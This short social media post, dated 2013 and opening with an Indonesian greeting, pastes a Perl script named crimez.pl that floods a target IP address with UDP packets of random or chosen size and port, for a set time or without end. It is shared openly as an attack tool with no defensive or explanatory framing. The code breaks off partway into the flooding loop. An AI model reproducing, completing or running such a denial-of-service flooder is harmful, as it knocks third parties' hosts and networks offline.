#semangat untuk hari ini ! #!/usr/bin/perl START SCRIPT use Socket; use strict; if ($#ARGV != 3) { print "crimez.pl "; print " port=0: use random ports "; print " size=0: use random size between 64 and 1024 "; print " time=0: continuous flood "; exit(1); } my ($ip,$port,$size,$time) = @ARGV; my ($iaddr,$endtime,$psize,$pport); $iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip "; $endtime = time() + ($time ? $time : 1000000); socket(flood, PF_INET, SOCK_DGRAM, 17); print "Flooding $ip " . ($port ? $port : "random") . " port with " . ($size ? "$size-byte" : "random size") . " packets" . ($time ? " for $time seconds" : "") . " "; print "Break with Ctrl-C " unless $time; for (;time() .
Posted on: Wed, 26 Jun 2013 00:45:34 +0000
Trending Topics
Recently Viewed Topics
© 2015